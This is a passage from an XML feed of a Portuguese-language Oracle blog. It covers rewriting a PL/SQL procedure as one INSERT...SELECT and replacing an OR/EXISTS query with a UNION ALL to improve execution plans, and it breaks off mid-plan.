/&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    COUNT(*)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       53094&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;| Id  | Operation             | Name          | Rows  | Cost (%CPU)| Time     |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   0 | SELECT STATEMENT      |               |     1 |    28   (4)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   1 |  SORT AGGREGATE       |               |     1 |            |          |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   2 |   INDEX FAST FULL SCAN| IT1_OBJECT_ID | 53094 |    28   (4)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Statistics&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;----------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;         0  recursive calls&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;         0  db block gets&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;124  consistent gets&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select count(*) from t1 where rownum=1;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    COUNT(*)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;           1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;| Id  | Operation              | Name          | Rows  | Cost (%CPU)| Time     |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   0 | SELECT STATEMENT       |               |     1 |    28   (4)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   1 |  SORT AGGREGATE        |               |     1 |            |          |&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;|*  2 |   COUNT STOPKEY &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       |               |       |            |          |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   3 |    INDEX FAST FULL SCAN| IT1_OBJECT_ID | 53094 |    28   (4)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Predicate Information (identified by operation id):&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;---------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;   2 - filter(ROWNUM=1)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Statistics&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;----------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;         1  recursive calls&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;         0  db block gets&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;         7  consistent gets&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Seguindo em nossa avaliação eu pergunto: por que selecionar os valores em variáveis e depois inserir? Faça o insert direto (se fosse o caso!).&lt;br /&gt;&lt;blockquote style="font-style: italic; font-weight: bold;"&gt;select dname, loc into l_dname, l_loc&lt;br /&gt;from dept_old&lt;br /&gt;where dept_old.deptno = x.deptno;&lt;br /&gt;insert into dept values ( x.deptno, l_dname, l_loc );&lt;br /&gt;&lt;/blockquote&gt;Então, nesse caso, o correto seria apenas um comando SQL (pensando em recursos, cada sentença SQL movimenta CPU, evitando desperdícios de sentenças, estamos economizando recurso de máquina).&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;insert into dept&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;select deptno, dname, loc&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;  from dept_old&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt; where dept_old.deptno = x.deptno;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;A instrução acima faria a mesma coisa, economizando CPU e memória.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Concluindo&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora que avaliamos o código e entendemos o que deve ser feito, vimos todas as suas fraquezas, hora de tomar uma decisão. Apenas retomando, não precisei de tkprof nem de autotrace para avaliar esse código e notar que está muito mal feito. A solução para esse procedimento é a &lt;span style="font-weight: bold;"&gt;reescrita!&lt;/span&gt; Então, relembrando a semântica: &lt;span style="font-style: italic;"&gt;inserir na dept caso exista em emp da dept_old&lt;/span&gt;.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;insert into dept&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;select deptno, dname, loc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;  from dept_old&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt; where exists ( select null&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;                  from emp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;                 where emp.deptno = dept_old.deptno )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12326579-1573556553037643085?l=mportes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/1573556553037643085/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=12326579&amp;postID=1573556553037643085' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/1573556553037643085'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default/1573556553037643085'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/2007/03/como-otimizar-um-plsql.html' title='Como Otimizar um PL/SQL'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12326579.post-1469496460001822675</id><published>2007-03-20T10:04:00.000-03:00</published><updated>2007-03-21T01:43:55.572-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Eficiencia do Otimizador</title><content type='html'>Na versão 10g, a Oracle aprimorou muito as decisões do otimizador baseado nas informações das estatísticas (CBO) - nem sei porque usamos essa sigla ainda, talvez vício, já que não existe mais o &lt;a href="http://download-west.oracle.com/docs/cd/B19306_01/server.102/b14238/compat.htm#sthref267"&gt;RBO&lt;/a&gt;. A capacidade de reescrever as queries para obter melhor resultado através da avaliação de &lt;a href="http://mportes.blogspot.com/2005/11/histograma-introduo.html"&gt;histogramas&lt;/a&gt;, &lt;a href="http://mportes.blogspot.com/2005/05/ndices-falando-livremente.html"&gt;índices&lt;/a&gt;, etc.&lt;br /&gt;&lt;br /&gt;Porém, ainda há situações onde o otimizador não tem muita opção e, portanto, elege um caminho não tão eficiente. Um exemplo que vi outro dia, foi uma query escrita com "OR". Na query existia dois predicados bastante efetivos e eletivos por índice, só quando executados separadamente. Quando postos juntos na mesma query o otimizador simplesmente não soube como resolver e escolheu um FILTER da primeira tabela (full tablescan) e leitura através de índice na segunda (INDEX RANGE SCAN), nada apropriado para o caso.&lt;br /&gt;&lt;br /&gt;Gostaria de chamar atenção em um ponto aqui: a importância de conhecer seus dados. O analista conhecia seus dados e sabia que o acesso não estava adequado. Quando ele me procurou, não entendia porque o Oracle não estava trazendo os dados de forma correta. Então reescrevemos a query com UNION ALL.&lt;br /&gt;&lt;br /&gt;A query na verdade é bastante simples e vou tentar reproduzir. Primeiro um setup dos dados - T1 e T2.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create table t1 as select * from sys.obj$;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Table created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create index it1_object_id on t1 ( obj# );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Index created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create table t2 as select * from dba_objects;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Table created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create index it2_object_id on t2 ( object_id );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Index created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; create index it2_owner on t2 ( owner );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Index created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2          dbms_stats.gather_table_stats(&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3                  user,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4                  'T1',&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5                  cascade =&gt; true,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6                  method_opt =&gt; 'for all indexed columns size 10'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7          );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8          dbms_stats.gather_table_stats(&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  9                  user,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 10                  'T2',&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 11                  cascade =&gt; true,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 12                  method_opt =&gt; 'for all indexed columns size 10'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 13          );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 14  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 15  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select ( select count(*) from t1 ) cnt_t1,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2         ( select count(*) from t2 ) cnt_t2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3    from dual&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       CNT_T1        CNT_T2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------- -------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        53094         51845&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Duas tabelas com certa relação, ambas indexadas e com estatísticas coletadas inclusive com histograma. A query é bem simples, precisamos de todas os nomes da T1 onde obj# esteja entre 59700 e 59800 e que exista na T2 com o dono (owner) = 'SCOTT'. Quando os predicados são executados separadamente, o otimizador sabe exatamente como escolher o caminho mais eficiente, o problema é quando UNIMOS as queries com o "OR".&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;select name&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt; from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;where obj# between 59700 and 59800&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;   or exists (select null&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;                from t2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;               where t1.obj# = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;                 and t2.owner = 'SCOTT'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;      )&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;Essa foi mais ou menos a "pedrinha no sapato" do meu colega analista. A primeira idéia que surgiu foi a substituição do EXISTS por IN, mas o caso não era esse porque além das tabelas possuirem quase a mesma quantidade de linhas, o otimizador tem a capacidade de rescrever queries do tipo EXISTS/IN para obter performance.&lt;br /&gt;&lt;br /&gt;Vamos ver o que o otimizador conseguiu.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2    from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3   where obj# between 59700 and 59800&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4      or exists (select null&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5                   from t2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6                  where t1.obj# = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7                    and t2.owner = 'SCOTT'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8          )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  9  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;25 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Execution Plan&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;----------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Plan hash value: 2766739097&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;| Id  | Operation                    | Name          | Rows  | Bytes | Cost (%CPU)| Time     |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   0 | SELECT STATEMENT             |               |  2697 | 59334 |   147   (3)| 00:00:02 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|*  1 |  &lt;span style="font-weight: bold;"&gt;FILTER&lt;/span&gt;                      |               |       |       |            |          |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   2 |   TABLE ACCESS FULL          | T1            | 53096 |  1140K|   147   (3)| 00:00:02 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|*  3 |   TABLE ACCESS BY INDEX ROWID| T2            |     1 |    11 |     2   (0)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|*  4 |    INDEX RANGE SCAN          | IT2_OBJECT_ID |     1 |       |     1   (0)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Predicate Information (identified by operation id):&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;---------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  1 - filter("OBJ#"&gt;=59700 AND "OBJ#" &amp;lt;=59800 OR  EXISTS (SELECT /*+ */ 0 FROM "T2"               &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;             "T2" WHERE "T2"."OBJECT_ID"=:B1 AND "T2"."OWNER"='SCOTT'))    &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3 - filter("T2"."OWNER"='SCOTT')    &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4 - access("T2"."OBJECT_ID"=:B1) &lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;A solução para o otimizador foi (1) FILTER, ou seja, (2) leia (full) a t1 e para cada linha procure na t2 (3) faça uma seleção por owner e acesso pelo índice object_id (4). Não está mal! Pensando como o Oracle, da maneira como a query está escrita, ele precisa de TODAS as linhas de T1 e não só o filtro BETWEEN (59700 e 59800), porque existe um OR, portanto ele precisa de outras linhas na condição do predicado.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Statistics&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;----------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;         1  recursive calls&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;         0  db block gets&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;span style="font-weight: bold;"&gt;158733  consistent gets&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;         0  physical reads&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;E note o esforço para obter a informação. 158733 consistents gets. Um pouco pesado para 25 linhas. Uma passada de olhos no Performance Tuning Guide, na seção &lt;a href="http://download-west.oracle.com/docs/cd/B19306_01/server.102/b14211/sql_1016.htm#i30971"&gt;11.5 Developing Efficient SQL Statements&lt;/a&gt; existem ótimas dicas de como escrever eficiente SQLs e uma das dicas é: diminuir o workload do Oracle trazendo o mesmo set de linhas. Então vamos reescrever a query para dar mais chances ao otimizador.&lt;br /&gt;&lt;br /&gt;O problema desta query é quando UNIMOS, então vamos tentar um UNION ALL na mão. &lt;span style="font-style: italic; color: rgb(255, 0, 0);"&gt;Um aparte: por que UNION ALL e não UNION? Porque quando usamos o UNION um DISTINCT vem de presente, portanto cuidado!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; where obj# between 59700 and 59800&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; UNION ALL&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;select name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; where exists ( select null&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  from t2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                 where t1.obj# = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                   and t2.owner = 'SCOTT'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;       )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   and not ( obj# between 59700 and 59800 )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-style: italic;"&gt;Alguns alertas quando reescrever a query, se estamos fazendo um UNION ALL na mão, há que se respeitar o predicado da query inicial, ou seja, não queremos linhas duplicadas. Então basta incluir mais um predicado na segunda query limitando o que já foi feito na primeira &lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;( and not ( obj# between 59700 and 59800 ) ) &lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;outra lembrança importante é: se o campo no NOT tiver a mínima change de conter null, é preciso tratar, no caso seria: &lt;span style="font-weight: bold; font-style: italic;"&gt;nvl(obj#,0) between ...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Vamos ao resultado final!&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:LX10G&gt; select name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2    from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3   where obj# between 59700 and 59800&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4  UNION ALL&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5  select name&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6    from t1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7   where exists ( select null&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8                    from t2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  9                   where t1.obj# = t2.object_id&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 10                     and t2.owner = 'SCOTT'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 11          )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 12     and not ( obj# between 59700 and 59800 )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 13  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;25 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Execution Plan&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;----------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Plan hash value: 1985880467&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;| Id  | Operation                     | Name          | Rows  | Bytes | Cost (%CPU)| Time     |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   0 | SELECT STATEMENT              |               |  1103 | 35915 |   183  (99)| 00:00:03 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   1 |  UNION-ALL                    |               |       |       |            |          |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   2 |   TABLE ACCESS BY INDEX ROWID | T1            |    44 |   968 |     3   (0)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|*  3 |    INDEX RANGE SCAN           | IT1_OBJECT_ID |    44 |       |     2   (0)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|*  4 |   HASH JOIN RIGHT SEMI        |               |  1059 | 34947 |   180   (3)| 00:00:03 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|   5 |    TABLE ACCESS BY INDEX ROWID| T2            |  1058 | 11638 |    32   (0)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|*  6 |     INDEX RANGE SCAN          | IT2_OWNER     |  1058 |       |     3   (0)| 00:00:01 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;|*  7 |    TABLE ACCESS FULL          | T1            | 52879 |  1136K|   147   (3)| 00:00:02 |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: 